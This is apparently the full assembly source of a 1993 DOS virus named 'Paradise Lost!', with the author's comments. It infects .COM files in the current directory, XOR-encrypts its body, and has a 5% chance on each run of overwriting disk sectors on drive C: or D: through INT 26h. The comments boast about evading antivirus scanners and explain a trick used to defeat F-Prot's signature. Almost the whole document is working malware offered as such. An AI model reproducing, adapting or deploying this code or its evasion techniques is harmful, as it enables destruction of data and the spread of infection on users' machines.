; VirusName : PARADISE LOST!
; Origin    : Sweden
; Author    : The Unforgiven
; Date      : 20/12/93

; This is a "mutation", of Tormentor's .COM lession. I've modified
; some stuffs, but since I liked the .EXE infector better, I didn't
; cared too much about this one. 

; Anyway, this is a non-resident current directory (yuck!), infector
; of .COM programs. It've added a encryption routine, but it's nothing
; really to scream hurray for.

; It's also a bit destructive, well, it's 5% chance at each run, that
; one of drive c: or d: gets kinda phucked up. This routine was as
; usual "stolen" from Nowhere Man of NuKE. I must admit I like it!

; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think
; that ThunderByte AntiVirus heurtistic scanner found the infected
; files as "probably/possible" infected, I really dunno, you try it
; out by your self!

; "We do not live forever, but mind never leaves our souls." (Dark Image).

;=============================================================================
;		           **** PARADISE LOST! ****
;=============================================================================

		.model	tiny
		.radix	16
		.code

Virus_Lenght	EQU	Virus_End-Virus_Start	; Lenght of virus.

		org	100

dummy_code:	db	'M'		; Mark file as infected.
		db	3 DUP(90)	; This is to simulate a infected prog.
					; Not included in virus-code.

Virus_Start:	 call	where_we_are	; Now we call the next bytes, just to

; F-prot founded the 'lession -1'virus here in the unencrypted area, but by
; simple add the push si, and the extra pop, it compleatele screwed up, and
; couldn't found it as nothing!, HA! Eat dust, looser!

where_we_are:	 push 	si
	       	 pop	si		; Since the virus-code's address will
		 pop	si

;-----------------------------------------------------------------------
; Now we have to put back the original 4 bytes in the host program, so 
; we can return control to it later:
		add	si,_4first_bytes-where_we_are
		mov	di,100
		cld
		movsw
		movsw
;------------------------------------------------------------------------
; We have to use SI as a reference since files differ in size thus making
; virus to be located at different addresses.

		sub	si,_4first_bytes-Virus_Start+4

 call encrypt_decrypt			; differ from victim to victim.
 jmp encryption_start			; a POP SI after a call will give us the
					; address which equals to 'where_we_are'
					; Very important.
 write_virus:
 call encrypt_decrypt
  		mov	ah,40		; Append file with virus code.
  		mov	cx,offset Virus_Lenght
  		mov	dx,si		; Virus_Lenght.
  		int	21	
 call encrypt_decrypt
 ret

 encryption_value dw 0
 encrypt_decrypt:

  mov di,offset encryption_start-virus_start 
  add di,si				
  mov cx,(end_of_encryption-encryption_start+1)/2  

 push bx
 mov bx,offset encryption_value-virus_start
 add bx,si
 mov dx,word ptr [bx]
 pop bx

 again:
      xor word ptr cs:[di],dx
      add di,2
      loop again
      ret
;------------------------------------------------------------------------
; Now we just have to find victims, we will look for ALL .COM files in
; the current directory.

encryption_start:
;set_dta:
mov ah,1ah
lea dx,[si+offset dta-virus_start]
int 21h
		mov	ah,4e		; We start to look for a *.COM file
look4victim:	mov	dx,offset file_match-Virus_Start
		add	dx,si
		int	21	

		jc	no_victim_found

; clear attribs: before open file
    mov ax,4301h
    xor cx,cx
    lea dx,[si+virus_end+1eh]
    int 21h
		mov	ax,3d02		; Now we open the file.
		lea	dx,[si+offset DTA-virus_start+1eh] ;now also including
		int	21		; DTA.
		jc	cant_open_file	; If file couldn't be open.
	
		xchg	ax,bx		; Save filehandle in bx
; (we could use MOV BX,AX but we saves one byte by using xchg )
	
		mov	ah,3f		; Now we read the first 4 bytes
		mov	cx,4		; from the victim -> buffer

		mov	dx,offset _4first_bytes-Virus_Start
		add	dx,si
					; We will then overwrite them with
		int	21		; a JMP XXXX to virus-code at end.
	
		jc	read_error

		cmp	byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
		jz	sick_or_EXE	; Check if infected OR *.EXE 

; Almost all EXE files starts with 'M' and we mark the infected files by
; starting with 'M' which equals to DEC BP 
; Now we just have to have one check instead of 2 (infected and *.EXE)

		mov	ax,4202		; Position file-pointer to point at 
		xor	cx,cx		; End-of-File.
		xor	dx,dx		; Any writing to file will now APPEND it
		int	21		; Returns AX -> at end.

		sub	ax,4		; Just for the JMP structure.

		mov	word ptr ds:[_4new_bytes+2],ax
					; Build new JMP XXXX to virus.
					; ( logic: JMP AX )

 mov word ptr [si+encryption_value-virus_start],99 ; encryption_value.
 call write_virus	

;
; 		mov	ah,40		; Append file with virus code.
; 		mov	cx,offset Virus_Lenght
; 		mov	dx,si		; Virus_Lenght.
; 		int	21	
; 		jc	write_error


		mov	ax,4200		; Position file-pointer to begin of file
		xor	cx,cx		; So we can change the first 3 bytes
   		xor	dx,dx		; to JMP to virus.
		int	21	

		mov	ah,40		; Write new 3 bytes.
		mov	cx,4		; After this, executing the file will
		mov	dx,offset _4new_bytes-Virus_Start
		add	dx,si
					; result in virus-code executing before
		int	21		; original code.
		jc	write_error

; then close the file.
		mov	ah,3e		; Close file, now file is infected.
		int	21		; Dos function 3E (close handle)

Sick_or_EXE:	mov	ah,4f		; Well, file is infected. Now let's
		jmp	look4victim	; find another victim...

write_error:		; Here you can test whats went wrong.
read_error:		; This is just for debugging purpose.
cant_open_file:		; These entries are equal to eachother
no_victim_found:	; but could be changed if you need to test something.

; randomize:
    mov ah,2ch				    ;get a new random number
    int 21h				    ;5% chance of nuke
    cmp dl,5
    ja real_quit			    
    jmp which

which:
mov ah,2ch
int 21h
cmp dl,50
ja  nuke_c
jmp nuke_d

nuke_c:
	cli				;      
	mov	ah,2			; 2=c:
	cwd				; 
	mov	cx,0100h		; 
	int	026h			; 
	JMP	REAL_QUIT

nuke_d:
        cli
	mov	ah,3			; 3=d:
	cwd
	mov	cx,0100h
	int	026h
	jmp	real_quit

real_quit:				
		mov	ax,100		; Every thing is put back in memory,
		push	ax		; lets us RET back to start of program
		ret			; and execute the original program.

notes		db '[PARADIS LOST!] (c) '93 The Unforgiven/Immortal Riot'
file_match	db '*.COM',0	            ; Pattern to search for.

end_of_encryption:
_4first_bytes:	ret			; Here we save the 4 first org. bytes
		db	3 DUP(0)
; We have a ret here since this file isn't a REAL infection.

_4new_bytes	db	'M',0E9, 00, 00	; Here we build the 4 new org. bytes
datestamp       equ     24              ;  Offset in DTA of file's date stamp
timestamp       equ     22              ;  Offset in DTA of file's time stamp
filename        equ     30              ;  Offset in DTA of ASCIIZ filename
attribute       equ     21              ;  Offset in DTA of file attribute


					; so our virus-code will be run first.
Virus_End	EQU	$
dta		db	42 DUP (?)
		end	dummy_code